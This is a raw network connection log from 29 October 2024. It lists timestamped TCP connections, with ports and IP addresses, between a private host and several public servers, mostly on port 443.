Oct 29, 2024 02:46:34.297632933 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.297646999 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.315128088 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.315262079 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.315316916 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.318795919 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.318995953 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.319039106 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.322443008 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.322451115 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.322460890 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.322464943 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.324501991 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.324513912 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.324522972 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.324528933 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.325253010 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.325457096 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.325506926 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.328238010 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.328249931 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.328977108 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.329134941 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.329189062 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.331458092 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.331512928 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.331583977 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.332777977 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.332861900 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.332951069 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.333337069 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.333359003 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.333370924 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.333376884 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.337003946 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.337025881 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.337093115 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.337203979 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.337248087 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.337472916 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.337510109 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.338386059 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.338408947 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.339735985 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.339759111 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.339837074 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.339953899 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.339975119 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.350181103 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:34.350994110 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.351046085 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.351089954 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.353044987 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.353503942 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.353512049 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.354460955 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.354521036 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.355592966 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.355647087 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.355760098 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.355765104 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.357383013 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.357388020 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.357397079 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.357400894 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.358541965 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.358772993 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.358781099 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.359743118 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.359847069 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.360811949 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.360882998 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.360992908 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.361000061 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.364759922 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.364774942 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.364835024 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.365396976 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:34.366350889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:34.366556883 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.366566896 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.370733023 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:34.371776104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:34.371845961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:34.375132084 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:34.375271082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:34.377563000 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.377811909 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:34.377820015 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.378889084 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.378981113 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:34.380018950 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:34.380079031 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.380234003 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:34.380242109 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.380461931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:34.380644083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:34.380680084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:34.380733013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:34.443794966 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.443794966 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:34.458981037 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.458981991 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:34.458992958 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:34.474984884 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:34.475430965 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:34.486330032 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.486377954 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.486602068 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.486697912 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.486706018 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.487957954 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.488225937 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.488234043 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.491729021 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.491780043 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.491836071 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.491908073 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.491916895 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.493241072 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.493257046 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.493611097 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.493777037 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.493850946 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.493983984 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:34.493990898 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:34.494239092 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:34.494242907 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:34.511111021 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.511156082 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.511236906 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:34.511498928 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:34.511508942 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:34.530185938 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.530664921 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:34.530742884 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:34.530831099 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:34.531591892 CET	49839	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.531625986 CET	443	49839	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.531855106 CET	49840	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.531874895 CET	443	49840	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.531909943 CET	49839	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.532017946 CET	49840	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.532876968 CET	49840	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.532876968 CET	49839	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.532885075 CET	443	49840	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.532906055 CET	443	49839	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.535373926 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.571340084 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.646874905 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.646883011 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738605022 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738636971 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738656044 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738696098 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738714933 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738724947 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.738743067 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738750935 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.738778114 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.738779068 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.738795996 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.841784000 CET	49841	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.841804981 CET	443	49841	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.842024088 CET	49841	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.842164040 CET	49842	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.842190027 CET	443	49842	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.842335939 CET	49842	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.842436075 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.842442989 CET	443	49843	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.842621088 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.842796087 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.842828989 CET	443	49844	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.843066931 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.843148947 CET	49841	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.843159914 CET	443	49841	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.843290091 CET	49842	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.843301058 CET	443	49842	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.843409061 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.843419075 CET	443	49843	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.843525887 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:34.843548059 CET	443	49844	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:34.850613117 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.850625038 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.850650072 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.850658894 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.850663900 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.850680113 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.850711107 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.850718975 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.850833893 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.954705954 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.966681004 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.966706991 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.966737986 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.966756105 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.966770887 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.966774940 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.966794968 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.966818094 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.966825962 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.966850996 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.966964006 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.036031961 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.036133051 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.036204100 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.036204100 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.074481964 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.075427055 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.075454950 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.075957060 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.075963020 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.080153942 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082154989 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082187891 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082221031 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082237959 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082247019 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.082261086 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082292080 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.082297087 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082319975 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082334042 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.082520008 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.082564116 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.082592964 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.082954884 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.083000898 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.083014011 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.083031893 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.083039999 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.083146095 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.083929062 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.083939075 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.083966017 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.087131023 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.087285995 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.088145971 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.088146925 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.088188887 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.088207960 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.088493109 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.088510036 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.088926077 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.088931084 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.098522902 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.101711035 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.101732016 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.102236032 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.102241993 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.135915041 CET	443	49839	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.139569044 CET	49839	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.139607906 CET	443	49839	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.140721083 CET	443	49839	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.144246101 CET	49839	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.144449949 CET	443	49839	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.147124052 CET	443	49840	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.149262905 CET	49840	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.149275064 CET	443	49840	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.149581909 CET	443	49840	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.149966002 CET	49840	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.150013924 CET	443	49840	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.212867975 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.213596106 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.213706970 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.213768005 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.213782072 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.213808060 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.213814974 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.214845896 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.215142965 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.216788054 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.216932058 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.216953039 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.216974974 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.216974974 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.217004061 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.217022896 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.217024088 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.218213081 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.218224049 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.220618010 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.220663071 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.220896006 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.220896006 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.220938921 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.221724987 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.221869946 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.221959114 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.222057104 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.222064972 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.222088099 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.222091913 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.222095013 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.222172976 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.222240925 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.223154068 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.223154068 CET	49832	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.223176956 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.223193884 CET	443	49832	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.224745989 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.224755049 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.224838018 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.225330114 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.225334883 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.225344896 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.225368977 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.225523949 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.225991011 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.226007938 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.230168104 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.230365992 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.230874062 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.231400967 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.231417894 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.231437922 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.231445074 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.233490944 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.233510971 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.233707905 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.233974934 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:35.233985901 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:35.255176067 CET	49840	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.255212069 CET	49839	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.271660089 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:35.271697998 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:35.271815062 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:35.271979094 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:35.271989107 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:35.292260885 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:35.292272091 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:35.292351007 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:35.292721033 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:35.292731047 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:35.301022053 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:35.301028013 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:35.301255941 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:35.301255941 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:35.301271915 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:35.455183029 CET	443	49842	162.159.61.3	192.168.2.5
